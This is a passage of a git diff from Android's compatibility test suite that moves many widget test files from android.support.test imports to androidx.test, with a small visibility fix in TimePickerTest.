 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.ResourceCursorAdapter;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java
index 2076620..d235a22 100644
--- a/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java
@@ -22,15 +22,16 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.database.MatrixCursor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.ResourceCursorTreeAdapter;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
index 3abb023..a4ccd50 100644
--- a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
@@ -29,11 +29,6 @@
 import android.app.Instrumentation;
 import android.content.Context;
 import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -44,6 +39,12 @@
 import android.widget.TextView;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ScrollerTest.java b/tests/tests/widget/src/android/widget/cts/ScrollerTest.java
index e9d98ae..d829bcd 100644
--- a/tests/tests/widget/src/android/widget/cts/ScrollerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ScrollerTest.java
@@ -22,13 +22,14 @@
 
 import android.content.Context;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.LinearInterpolator;
 import android.widget.Scroller;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/SearchViewTest.java b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
index 301cea2..08dd6a5 100644
--- a/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
@@ -30,16 +30,17 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.res.Resources;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.TextUtils;
 import android.view.inputmethod.EditorInfo;
 import android.widget.SearchView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
index c40c0fd..f3fbacc 100644
--- a/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
@@ -31,11 +31,6 @@
 import android.database.Cursor;
 import android.database.MatrixCursor;
 import android.provider.BaseColumns;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.View;
 import android.view.ViewGroup;
@@ -44,6 +39,12 @@
 import android.widget.SearchView;
 import android.widget.SimpleCursorAdapter;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
 
diff --git a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
index 9395db4..d7a6c90 100644
--- a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
@@ -27,13 +27,14 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.MotionEvent;
 import android.widget.SeekBar;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java
index 3c388fc..3b2278d 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java
@@ -35,10 +35,6 @@
 import android.content.res.Resources.Theme;
 import android.graphics.Bitmap;
 import android.graphics.drawable.BitmapDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.widget.ImageView;
@@ -47,6 +43,11 @@
 import android.widget.TextView;
 import android.widget.TwoLineListItem;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java
index 880da98..b0cbb0c 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java
@@ -35,10 +35,6 @@
 import android.database.MatrixCursor;
 import android.graphics.Bitmap;
 import android.graphics.drawable.BitmapDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
@@ -47,6 +43,11 @@
 import android.widget.SimpleCursorAdapter;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java
index fefd261..7d055e4 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java
@@ -25,15 +25,16 @@
 import android.database.MatrixCursor;
 import android.graphics.Bitmap;
 import android.graphics.drawable.BitmapDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.widget.ImageView;
 import android.widget.SimpleCursorTreeAdapter;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java
index eef0a49..908eccf 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java
@@ -22,10 +22,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.widget.LinearLayout;
@@ -33,6 +29,11 @@
 import android.widget.TextView;
 import android.widget.TwoLineListItem;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java b/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java
index 1993244..4946bda 100644
--- a/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java
@@ -31,11 +31,6 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -43,6 +38,12 @@
 import android.widget.SlidingDrawer;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
index 9aebd71..6c391b1 100644
--- a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
@@ -34,11 +34,6 @@
 import android.content.res.Resources.Theme;
 import android.graphics.Color;
 import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ContextThemeWrapper;
 import android.view.Gravity;
 import android.view.KeyEvent;
@@ -47,6 +42,12 @@
 import android.widget.Spinner;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
diff --git a/tests/tests/widget/src/android/widget/cts/SwitchTest.java b/tests/tests/widget/src/android/widget/cts/SwitchTest.java
index 1123a4e..329f12e 100644
--- a/tests/tests/widget/src/android/widget/cts/SwitchTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SwitchTest.java
@@ -29,16 +29,17 @@
 import android.graphics.Rect;
 import android.graphics.Typeface;
 import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ContextThemeWrapper;
 import android.view.ViewGroup;
 import android.widget.Switch;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/TabHostTest.java b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
index 36f7108..5a225a1 100644
--- a/tests/tests/widget/src/android/widget/cts/TabHostTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
@@ -30,11 +30,6 @@
 import android.app.ActivityGroup;
 import android.app.Instrumentation;
 import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.View;
 import android.widget.ListView;
@@ -43,6 +38,12 @@
 import android.widget.TabHost.TabSpec;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java b/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java
index a0498d5..b469212 100644
--- a/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java
@@ -30,17 +30,18 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.widget.ImageView;
 import android.widget.ListView;
 import android.widget.TabHost;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
index 7af7af9..a09cfdf 100644
--- a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
@@ -26,11 +26,6 @@
 import android.app.Instrumentation;
 import android.content.Context;
 import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.widget.LinearLayout;
@@ -41,6 +36,12 @@
 import android.widget.TextView;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java b/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java
index 3532e99..7236149 100644
--- a/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java
@@ -30,11 +30,6 @@
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -47,6 +42,12 @@
 import android.widget.TableRow;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java
index 009937f..184cf6c 100644
--- a/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java
@@ -22,15 +22,16 @@
 import android.content.Context;
 import android.content.res.TypedArray;
 import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.ViewGroup;
 import android.widget.TableLayout;
 import android.widget.cts.util.XmlUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/TableRowTest.java b/tests/tests/widget/src/android/widget/cts/TableRowTest.java
index 330a818..fedebd9 100644
--- a/tests/tests/widget/src/android/widget/cts/TableRowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableRowTest.java
@@ -30,10 +30,6 @@
 import android.content.Context;
 import android.content.res.Resources;
 import android.content.res.XmlResourceParser;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -45,6 +41,11 @@
 import android.widget.TableRow;
 import android.widget.TextView;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java
index 453b0c1..c306a3d 100644
--- a/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java
@@ -22,10 +22,6 @@
 import android.app.Activity;
 import android.content.res.TypedArray;
 import android.content.res.XmlResourceParser;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -35,6 +31,11 @@
 import android.widget.TableRow;
 import android.widget.cts.util.XmlUtils;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TextClockTest.java b/tests/tests/widget/src/android/widget/cts/TextClockTest.java
index 0f55bbc..d8caf94 100644
--- a/tests/tests/widget/src/android/widget/cts/TextClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextClockTest.java
@@ -26,13 +26,14 @@
 import android.net.Uri;
 import android.os.Handler;
 import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.MutableBoolean;
 import android.widget.TextClock;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
 
diff --git a/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java b/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java
index fb99cc7..fae4a9b 100644
--- a/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java
@@ -21,15 +21,16 @@
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewGroup;
 import android.widget.ListView;
 import android.widget.TextSwitcher;
 import android.widget.TextView;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java b/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java
index f001b46..6d8f24d 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java
@@ -30,14 +30,15 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.TypedValue;
 import android.view.ViewGroup;
 import android.widget.FrameLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewFontWeightTest.java b/tests/tests/widget/src/android/widget/cts/TextViewFontWeightTest.java
index 11ed15d..757aa11 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewFontWeightTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewFontWeightTest.java
@@ -22,13 +22,14 @@
 import android.content.Context;
 import android.graphics.Paint;
 import android.graphics.Typeface;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.ViewGroup;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java b/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
index ffa5a28..4a04dd7 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
@@ -16,10 +16,10 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.graphics.Typeface;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
 import android.text.Layout;
 import android.text.PrecomputedText;
 import android.text.PrecomputedText.Params;
@@ -31,7 +31,8 @@
 import android.util.Pair;
 import android.widget.TextView;
 
-import static org.junit.Assert.fail;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 7c55f90..432b94d 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -41,8 +41,6 @@
 import static org.mockito.Mockito.verifyZeroInteractions;
 import static org.mockito.Mockito.when;
 
-import static java.lang.annotation.RetentionPolicy.SOURCE;
-
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.Instrumentation.ActivityMonitor;
@@ -73,14 +71,6 @@
 import android.os.Looper;
 import android.os.Parcelable;
 import android.os.SystemClock;
-import androidx.annotation.IntDef;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.InputFilter;
 import android.text.InputType;
@@ -150,6 +140,15 @@
 import android.widget.TextView.BufferType;
 import android.widget.cts.util.TestUtils;
 
+import androidx.annotation.IntDef;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
@@ -162,6 +161,8 @@
 import org.mockito.invocation.InvocationOnMock;
 import org.xmlpull.v1.XmlPullParserException;
 
+import static java.lang.annotation.RetentionPolicy.SOURCE;
+
 import java.io.IOException;
 import java.lang.annotation.Retention;
 import java.util.Arrays;
diff --git a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
index 0886aa3..b4a43e3 100644
--- a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
@@ -32,17 +32,18 @@
 import android.content.Context;
 import android.content.res.Configuration;
 import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.view.KeyEvent;
 import android.view.View;
 import android.view.autofill.AutofillValue;
 import android.widget.TimePicker;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.CtsTouchUtils;
 
@@ -392,6 +393,9 @@
         if (isWatch()) {
             return;
         }
+        // Hide timepicker_clock so that timepicker_spinner would be visible.
+        mActivityRule.runOnUiThread(() ->
+                mActivity.findViewById(R.id.timepicker_clock).setVisibility(View.GONE));
         mTimePicker = (TimePicker) mActivity.findViewById(R.id.timepicker_spinner);
 
         mActivityRule.runOnUiThread(() -> mTimePicker.setIs24HourView(false));
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 4ea9b88..b0d3751 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -28,11 +28,6 @@
 import android.content.pm.PackageManager;
 import android.graphics.drawable.Drawable;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Gravity;
 import android.view.View;
 import android.view.ViewTreeObserver;
@@ -40,6 +35,12 @@
 import android.widget.ImageView;
 import android.widget.Toast;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java b/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java
index a473983..cf8e98a 100644
--- a/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java
